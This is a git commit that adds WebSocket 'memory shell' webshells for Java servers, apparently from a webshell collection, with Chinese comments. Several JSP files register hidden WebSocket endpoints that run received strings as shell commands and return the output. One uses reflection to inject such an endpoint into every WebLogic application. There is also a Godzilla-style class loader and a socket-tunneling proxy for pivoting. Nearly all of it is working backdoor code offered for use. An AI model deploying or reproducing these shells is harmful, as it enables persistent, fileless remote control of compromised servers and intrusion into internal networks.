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add wsmemshell

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thanks @veo
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tennc 2022-07-26 13:09:53 +08:00 committed by GitHub
parent 1643b37786
commit 996152da78
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24
wsMemShell/Godzilla.java Normal file
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// 哥斯拉实现websocket马核心代码片段
//由于是反编译修改了原作者的软件，所以并不会公布工具，但会陆续公开实现代码和实现过程原理
public void onMessage(ByteBuffer databf) {
try {
data=x(databf.array(), false);
if (session.getUserProperties().get("payload")==null){
session.getUserProperties().put("payload",new X(this.getClass().getClassLoader()).Q(data));
session.getBasicRemote().sendObject(x("ok".getBytes(), true));
}else{
session.getUserProperties().put("parameters", data);
Object f=((Class)session.getUserProperties().get("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(session);
f.equals(data);
f.toString();
session.getBasicRemote().sendObject(x(arrOut.toByteArray(), true));
}
} catch (Exception ignored) {
}
}

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wsMemShell/WsCmd.java Normal file
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wsMemShell/weblogic/wsAddAllContainer.jsp Normal file
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<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%@ page import="org.glassfish.tyrus.server.TyrusServerContainer" %>
<%@ page import="javax.management.MBeanServer" %>
<%@ page import="java.lang.management.ManagementFactory" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.jmx.mbeanserver.Repository" %>
<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
<%@ page import="java.util.Set" %>
<%@ page import="javax.management.ObjectName" %>
<%@ page import="java.util.HashSet" %>
<%@ page import="weblogic.servlet.internal.WebAppServletContext" %>
<%!
public static class CmdEndpoint extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>
<%
// 遍历所有 container 进行添加
String path = request.getParameter("path");
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(CmdEndpoint.class, path).build();
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
Field field = server.getClass().getDeclaredField("wrappedMBeanServer");
field.setAccessible(true);
Object obj = field.get(server);
field = obj.getClass().getDeclaredField("mbsInterceptor");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository)field.get(obj);
Set<NamedObject> namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"),null);
for(NamedObject namedObject : namedObjects){
field = namedObject.getObject().getClass().getDeclaredField("managedResource");
field.setAccessible(true);
obj = field.get(namedObject.getObject());
field = obj.getClass().getSuperclass().getDeclaredField("children");
field.setAccessible(true);
HashSet set = (HashSet)field.get(obj);
for(Object o : set){
if(o.getClass().getName().endsWith("WebAppRuntimeMBeanImpl")){
field = o.getClass().getDeclaredField("context");
field.setAccessible(true);
WebAppServletContext servletContext = (WebAppServletContext) field.get(o);
TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
container.register(configEndpoint);
out.println("add success,path: " + servletContext.getContextPath()+path);
} catch (Exception e) {
}
}
}
}
%>

54
wsMemShell/weblogic/wscmd.jsp Normal file
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<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%@ page import="org.glassfish.tyrus.server.TyrusServerContainer" %>
<%!
public static class CmdEndpoint extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>
<%
// Weblogic 在获取 ServerContainer 时有些问题，例如在 bea_wls_internal 目录下 servletContext 获取不到 ServerContainer，也就是此jsp传到 bea_wls_internal目录是无效的，但自己部署的war包路径有效，目前还不知道为什么
// 可以使用 wsAddAllContainer.jsp 遍历所有的 Container 进行添加，这样 wsAddAllContainer.jsp 上传到bea_wls_internal目录也是可以的
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(CmdEndpoint.class, path).build();
TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
container.register(configEndpoint);
} catch (Exception e) {
e.printStackTrace();
}
%>

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<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%!
public static class C extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>
<%
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
if (servletContext.getAttribute(path) == null){
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
out.println("success, connect url path: " + servletContext.getContextPath() + path);
} catch (Exception e) {
out.println(e.toString());
}
%>

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wsMemShell/wsproxy.jsp Normal file
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<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.nio.channels.AsynchronousSocketChannel" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.nio.channels.CompletionHandler" %>
<%@ page import="java.net.InetSocketAddress" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.util.concurrent.Future" %>
<%!
public static class ProxyEndpoint extends Endpoint {
long i =0;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String,AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static class Attach {
public AsynchronousSocketChannel client;
public Session channel;
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
final ByteBuffer buffer = ByteBuffer.allocate(50000);
Attach attach = new Attach();
attach.client = client;
attach.channel = channel;
client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
@Override
public void completed(Integer result, final Attach scAttachment) {
buffer.clear();
try {
if(buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (scAttachment.channel.isOpen()) {
scAttachment.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(scAttachment.channel,scAttachment.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(scAttachment.channel,scAttachment.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
});
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
@Override
public void onMessage(ByteBuffer message) {
try {
message.clear();
i++;
process(message,session);
} catch (Exception ignored) {
}
}
});
}
}
%>
<%
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(ProxyEndpoint.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
if (servletContext.getAttribute(path) == null){
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
out.println("success, connect url path: " + servletContext.getContextPath() + path);
} catch (Exception e) {
out.println(e.toString());
}
%>